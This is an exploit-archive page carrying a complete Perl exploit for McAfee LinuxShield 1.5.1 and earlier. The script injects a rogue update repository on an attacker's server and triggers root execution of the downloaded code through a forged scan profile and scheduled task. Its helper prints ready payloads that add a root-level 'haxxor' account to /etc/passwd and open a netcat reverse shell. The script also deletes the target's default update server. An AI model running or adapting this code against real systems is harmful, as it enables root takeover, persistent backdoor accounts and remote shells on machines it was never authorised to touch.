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McAfee LinuxShield <= 1.5.1 Local/Remote Root Code Execution

Author
Nikolas Sotiriu
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-13886
Category
remote exploits
Date add
27-08-2010
Platform
linux
============================================================
McAfee LinuxShield <= 1.5.1 Local/Remote Root Code Execution
============================================================

#!/usr/bin/perl
 
##
#  Title:     McAfee LinuxShield <= 1.5.1 Local/Remote Root Exploit
#  Name:      nailsRoot.pl
#  Author:    Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de>
#  WARNING:   This Exploit deletes the default Update Server
#
#  Use it only for education or ethical pentesting! The author accepts
#  no liability for damage caused by this tool.
# 
##
 
use strict;
use IO::Socket::SSL;
use Getopt::Std;
 
my %args;
my $ack;
my $timestamp;
 
getopt('h:p:u:v:e:a:g:', \%args);
 
my $gen_exec    = $args{g};
 
if (defined $gen_exec) {
    genEx($gen_exec);
}
 
my $target_host = $args{h} || usage();
my $target_port = $args{p} || 65443;
my $nails_user  = $args{u} || usage();
my $nails_pass  = $args{v} || "";
my $exec_path   = $args{e} || "/opt/McAfee/cma/scratch/update/catalog.z";
my $my_host     = $args{a} || "";
 
my $range = 50000000;
my $minimum = 90000000;
 
my $randomtask = int(rand($range)) + $minimum;
 
my $pre="sconf ODS_99 ";
my $post="\x0d\x0a";
 
my $setrepo1='db set 1 _table=repository status=1 siteList=<?xml\ version="1.0"\ encoding="UTF-8"?><ns:SiteLis'.
             'ts\ xmlns:ns="naSiteList"\ GlobalVersion="20030131003110"\ LocalVersion="20091209161903"\ Type="Clie'.
             'nt"><SiteList\ Default="1"\ Name="SomeGUID"><HttpSite\ Type="repository"\ Name="EvilRepo"\ Order="1"'.
             '\ Server="';
 
my $setrepo2=':80"\ Enabled="1"\ Local="1"><RelativePath>nai</RelativePath><UseAuth>0</UseAut'.
             'h><UserName></UserName><Password\ Encrypted="0"/></HttpSite></SiteList></ns:SiteLists> _cmd=update';
 
my $setsite="task setsitelist";
 
my $begin="begin";
 
my$set="set ";
my $profile=" nailsd.profile.ODS_99.allFiles=true nailsd.profile.ODS_99.childInitTmo=60".
       " nailsd.profile.ODS_99.cleanChildren=2 nailsd.profile.ODS_99.cleansPerChild=10000 nailsd.profile.ODS".
       "_5.datPath=/opt/NAI/LinuxShield/engine/dat nailsd.profile.ODS_99.decompArchive=true nailsd.profile.".
       "ODS_99.decompExe=true nailsd.profile.ODS_99.engineLibDir=/opt/NAI/LinuxShield/engine/lib nailsd.prof".
       "ile.ODS_99.enginePath=/opt/NAI/LinuxShield/engine/lib/liblnxfv.so".
       " nailsd.profile.ODS_99.factoryInitT".
       "mo=60 nailsd.profile.ODS_99.heuristicAnalysis=true nailsd.profile.ODS_99.macroAnalysis=true nailsd.p".
       "rofile.ODS_99.maxQueSize=32 nailsd.profile.ODS_99.mime=true nailsd.profile.ODS_99.noJokes=false nails".
       "d.profile.ODS_99.program=true nailsd.profile.ODS_99.quarantineChildren=1 nailsd.profile.ODS_99.quaran".
       "tineDirectory=/quarantine nailsd.profile.ODS_99.quarantinesPerChild=10000 nailsd.profile.ODS_99.scan".
       "Children=2 nailsd.profile.ODS_99.scanMaxTmo=301 nailsd.profile.ODS_99.scanNWFiles=true nailsd.profil".
       "e.ODS_99.scanOnRead=true nailsd.profile.ODS_99.scanOnWrite=true nailsd.profile.ODS_99.scannerPath=".
       "$exec_path".
       " nailsd.profile.ODS_99.scansPerChild=10000 nailsd.profile.ODS_99.sl".
       "owScanChildren=0 nailsd.profile.ODS_99.filter.0.type=exclude-path nailsd.profile.ODS_99.filter.0.pat".
       "h=/proc nailsd.profile.ODS_99.filter.0.subdir=true nailsd.profile.ODS_99.filter.extensions.mode=all ".
       "nailsd.profile.ODS_99.filter.extensions.type=extension nailsd.profile.ODS_99.action.Default.primary=".
       "Clean nailsd.profile.ODS_99.action.Default.secondary=Quarantine nailsd.profile.ODS_99.action.App.pri".
       "mary=Clean nailsd.profile.ODS_99.action.App.secondary=Quarantine nailsd.profile.ODS_99.action.timeou".
       "t=Pass nailsd.profile.ODS_99.action.error=Block";
 
my $commit="commit ";
 
my $setdb=" _table=schedule taskName=$randomtask taskType=On-Demand taskInfo=profileName=ODS_99,".
        "paths=path:/root/tmp;exclude:false timetable=type=unscheduled taskResults=0 i_lastRun=1260318482 status=Stopped _cmd=insert";
    #update _where= i_taskId=2";
 
my $execupd="task nstart LinuxShield Update";
my $execute="task nstart $randomtask";
 
banner();
 
if ($exec_path eq "/opt/McAfee/cma/scratch/update/catalog.z") {
    if ($my_host eq "") {
        usage();
    }
    stOne();
}else{
    stTwo();
}
 
sub stOne {
    my $reposock = IO::Socket::SSL->new(
                        PeerAddr => $target_host,
                        PeerPort => $target_port,
                        Proto    => 'tcp',
        );
 
    if (defined $reposock) {
        print "[*] Executing Stage One\n";
        print "-----------------------\n";     
 
                $ack=<$reposock>;
                print $ack;
 
                print $reposock "auth ".$nails_user." ".$nails_pass.$post;
                $ack=<$reposock>;
                if ($ack=~m/ERR authentication failure/){
                        print "[-] Authentication failed...\n";
                        exit(1);
                }
                print $ack;
                sleep(1);
 
                print "[+] Repo update: inject evil repo\n";
                print $reposock $setrepo1.$my_host.$setrepo2.$post;
                sleep(1);
 
                print "[+] Repo Site update: update site task\n";
                print $reposock $setsite.$post;
                $ack=<$reposock>;
                print $ack;
                sleep(1);
 
                print "[+] Execute AV Update: downloading evil code\n";
                print $reposock $execupd.$post;
                sleep(5);  # Update needs a bit time
        $reposock->shutdown(1);
         
    }
    stTwo();
}
 
sub stTwo {
        my $sock = IO::Socket::SSL->new(
                        PeerAddr => $target_host,
                        PeerPort => $target_port,
                        Proto    => 'tcp',
        );
 
    if (defined $sock) {
                print "\n\n[*] Executing Stage TWO\n";
                print "-----------------------\n";
 
        $ack=<$sock>;
        print $ack;
         
        print $sock "auth ".$nails_user." ".$nails_pass.$post;
        $ack=<$sock>;
        if ($ack=~m/ERR authentication failure/){
            print "[-] Authentication failed...\n";
            exit(1);
        }
        print $ack;
        sleep(1);
 
        print $sock $pre.$begin.$post;
        $ack=<$sock>;
        print $ack;
            $ack=~s/\+OK //g;
            $timestamp=$ack;
            $timestamp=~ s/\s+$//;
            print "[+] Timestamp: $timestamp\n";
        print "[+] Profile: Injecting evil Profile\n";
        print $sock $pre.$set.$timestamp.$profile.$post;
        sleep(1);
 
        print "[+] Commit: Profile changes\n";
        print $sock $pre.$commit.$timestamp.$post;
        sleep(1);
 
        print "[+] Schedule: Injecting evil task $randomtask\n";
        print $sock "db set ".$timestamp.$setdb.$post;
        sleep(1);
 
        print "[+] Excute: Task $randomtask\n";
        print $sock $execute.$post;
        $sock->shutdown(1);
        print "[+] Done... Check whatever you did\n";
    } else {
            print "[-] some troubles with connection: $!\n" ;
    }
}
 
sub usage {
 
    print "\n";
    print " nailsRoot.pl - McAfee LinuxShield local/remote Root Exploit\n";
    print "===============================================================\n\n";
    print "  Usage:\n";
    print "           $0 -h <target ip> -u <user> -v <pass> [-a <my host>|-e <executable>]\n";
    print "  Optional:\n";
    print "           -a       <attacker host with httpd>\n";
    print "           -e       <executable file on target host>\n";
    print "           -p       <target port (default: 65443)>\n";
    print "           -g (1|2) <generat shell scripts to execute>\n";
    print "                    1 <UID 0 user add>\n";
    print "                    2 <reverse nc shell>\n";
    print "  Notes:\n";
    print "           -We can not handle arguments given to executable\n";
    print "            in the -e option.\n";
    print "           -To download your own evil executable, start a httpd\n";
    print "            and set the -a option. Create the directory <nai> in\n";
    print "            your wwwroot and rename your executable to <catalog.z>\n";
    print "  Author:\n";
    print "           Nikolas Sotiriu (lofi)\n";
    print "           url: www.sotiriu.de\n";
    print "           mail: lofi[at]sotiriu.de\n";
    print "\n";
 
 
    exit(1);
}
 
sub genEx {
    my ($code)=@_;
     
    if ($code==1) {
        print STDERR << "EOF";
 
============== UID 0 user add ==============
 
Copy this lines to the catalog.z file.
 
USER=haxxor PASS=haxxorPass
 
-------------- cut --------------
#!/bin/sh
echo haxxor:AzFQk89Xgpp8s:0:0::/:/bin/sh >> /etc/passwd
-------------- /cut --------------
 
EOF
     
    } elsif ($code==2) {
        print STDERR << "EOF";
 
============== reverse nc shell ==============
 
Copy this lines to the catalog.z file.
 
-------------- cut --------------
#!/bin/sh
nc -nv <yourip> 4444 -e /bin/sh
-------------- /cut --------------
 
EOF
 
    }
 
    exit(1);
 
}
 
sub banner {
    print STDERR << "EOF";
--------------------------------------------------------------------------------
         nailsRoot.pl - McAfee LinuxShield local/remote Root Exploit
--------------------------------------------------------------------------------
                                                                                 
                                   111 1111111                                 
                            11100 101 00110111001111                           
                        11101 11 10 111 101 1001111111                         
                    1101  11 00 10 11  11 111 1111111101                       
                 10111 1 10 11 10  0 10  1 1 1  1111111011                     
              1111  1 1 10  0  01 01 01 1 1 111     1111011101                 
            1000   0 11 10 10  0 10 11 111 11111 11 1111 111100                
          1111111111 01 10 10 11 01 0  11 11111111111 1 1111  11               
         10111110 0  01 00 11 1110 11 10 11111111111 11 11111  11   111        
        101111111 0 10  01 11 1 11 0 10 11 1111111111111111 1111110000111      
        011111 0110 10 10  0 11 1 11 01 01 111111111111111 1 11110011001       
       1011111 0110 10 11 1110 11 1 10 11111111111111111111  1 100  001        
       1011111 0 10 10 01 1  0 1 11 1 111111111111111111111111 001101          
        011111 0  0  0 11 0 1111 0 11 01111111111111111111111111  01           
       1111111 01 01 111  1 1111 1 11 1111111111111111111111 1101 1111         
      111 1111 10  0 111110 0111 0 1  0111111111111111111111 11111 1111        
     111 11111  1  11 1 1 1    111 11 11111111111111111111111110    1001       
    111 1011111   1 11111111110111111111111111111111111111111 01 10111001      
   11 1100    10110110    10001        11101111111111111111  10 111 11100      
  111  00      1011101      00101       0  11111111111111111001 11  111101     
  11  00        00 101      1000011     1011   1111   1111111000 1111111 0     
  11 00          0   1011      100001    101000 1 1001         00001111  01    
  01101          11111 1011               01100    0101          110  11 10    
  10111                   1                0  01    0000011         10    10   
   10011                                    11100       1111         101   11  
      1110 01                                 101011                   1001100 
         1111000011                            1  111                          
                11000001111                                                    
                           1                                                   
 
EOF
}



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